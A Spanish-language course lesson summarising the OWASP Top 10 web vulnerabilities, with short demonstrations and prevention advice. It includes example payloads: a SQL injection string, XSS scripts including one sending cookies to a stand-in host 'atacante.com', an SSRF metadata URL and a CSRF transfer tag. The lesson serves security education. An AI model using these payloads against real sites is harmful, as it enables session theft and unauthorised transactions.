🌐 OWASP Top 10 — Vulnerabilidades Web Críticas

Lección 3 de 6 — Las 10 vulnerabilidades más críticas en aplicaciones web según el Open Web Application Security Project (OWASP).

A01:2021 — Pérdida de Control de Acceso Crítico

Fallos en la autorización que permiten a usuarios acceder a funciones o datos que no les corresponden. Es la categoría más frecuente.

Ejemplos: escalada de privilegios (IDOR), modificación de URL para acceder a datos de otro usuario, omisión de verificaciones en APIs.

Prevención: denegar por defecto, aplicar controles de acceso en servidor, registrar intentos fallidos, usar frameworks que centralicen la autorización.

A02:2021 — Fallos Criptográficos Crítico

Datos sensibles expuestos por cifrado débil, ausencia de cifrado, o mal manejo de claves.

Ejemplos: contraseñas en texto plano, TLS mal configurado, uso de algoritmos obsoletos (MD5, SHA-1, RC4), certificados caducados.

Prevención: cifrar datos sensibles en tránsito (TLS 1.3) y en reposo (AES-256), usar bcrypt/Argon2 para contraseñas, no inventar criptografía propia.

A03:2021 — Inyección Crítico

Envío de datos no confiables a un intérprete como parte de un comando o consulta. Inyección SQL es la más conocida.

-- Ejemplo de inyección SQL
-- En formulario: ' OR '1'='1
SELECT * FROM usuarios WHERE email = '' OR '1'='1' AND password = '...'

Otras inyecciones: NoSQL, OS Command Injection, LDAP, XML (XXE).

Prevención: consultas parametrizadas (prepared statements), ORM, validación estricta de entrada, escapes adecuados.

# Bueno (Python + SQLite parametrizado)
cursor.execute("SELECT * FROM usuarios WHERE email = ?", (email,))

# Malo (concatenación)
cursor.execute(f"SELECT * FROM usuarios WHERE email = '{email}'")

A04:2021 — Diseño Inseguro Alto

Vulnerabilidades derivadas de decisiones de diseño deficientes, no de fallos de implementación.

Ejemplos: falta de límites de tasa (rate limiting), procesos de recuperación de contraseña débiles, "security by obscurity".

Prevención: threat modeling, principios de secure-by-design, usar patrones de seguridad establecidos.

A05:2021 — Configuración de Seguridad Incorrecta Alto

Configuraciones predeterminadas inseguras, servicios innecesarios habilitados, cuentas por defecto, directorios listables.

Prevención: hardening de servidores, eliminar cuentas por defecto, deshabilitar servicios no usados, revisar configuraciones periódicamente.

A06:2021 — Componentes Vulnerables y Desactualizados Alto

Usar bibliotecas, frameworks o dependencias con vulnerabilidades conocidas (CVE).

Ejemplos: Log4Shell (CVE-2021-44228), bibliotecas npm/pip/Composer desactualizadas.

Prevención: mantener dependencias actualizadas, usar SBOM (Software Bill of Materials), herramientas como Dependabot, Snyk.

A07:2021 — Fallos de Identificación y Autenticación Crítico

Mecanismos de autenticación débiles que permiten suplantación de identidad.

Ejemplos: fuerza bruta sin bloqueo, contraseñas débiles, sesiones predecibles, ausencia de 2FA, session fixation.

Prevención: MFA/2FA, políticas de contraseñas robustas, rate limiting, secure cookies (HttpOnly, Secure, SameSite).

A08:2021 — Fallos en Integridad de Datos y Software Medio

Actualizaciones o parches sin verificar, pipelines CI/CD inseguros, descargas sin verificar checksums.

Prevención: firmar actualizaciones, verificar firmas e integridad, usar repositorios oficiales.

A09:2021 — Fallos en Registro y Monitoreo Medio

Registro insuficiente de eventos de seguridad, incapacidad de detectar ataques en curso.

Prevención: registrar intentos fallidos, accesos sospechosos, alertas en tiempo real, SIEM (Splunk, ELK).

A10:2021 — Falsificación de Solicitud del Lado del Servidor (SSRF) Alto

Un atacante induce al servidor a realizar peticiones HTTP a destinos internos (localhost, redes internas, AWS metadata).

Ejemplos: explotar funcionalidades que cargan URLs remotas para acceder a http://169.254.169.254/ (metadata cloud).

Prevención: validar y restringir URLs de entrada, denegar tráfico a IPs privadas, usar whitelists.

🧪 Demostración: XSS (Cross-Site Scripting)

El XSS permite inyectar scripts maliciosos en páginas web vistas por otros usuarios.

<!-- XSS Reflejado -->
https://ejemplo.com/buscar?q=<script>alert('XSS')</script>

<!-- XSS Almacenado -->
<script>document.location='https://atacante.com/robar?cookie='+document.cookie</script>

<!-- Prevención en PHP -->
<?php echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); ?>

🧪 Demostración: CSRF (Cross-Site Request Forgery)

El atacante engaña al navegador de la víctima para que realice una acción no deseada en una aplicación autenticada.

<!-- El usuario autenticado en banco.com visita un sitio malicioso que contiene: -->
<img src="https://banco.com/transferir?cuenta=ATACANTE&monto=5000">

Prevención: tokens CSRF (anti-CSRF tokens), SameSite cookies (Strict/Lax), verificar cabecera Origin/Referer.

📌 Resumen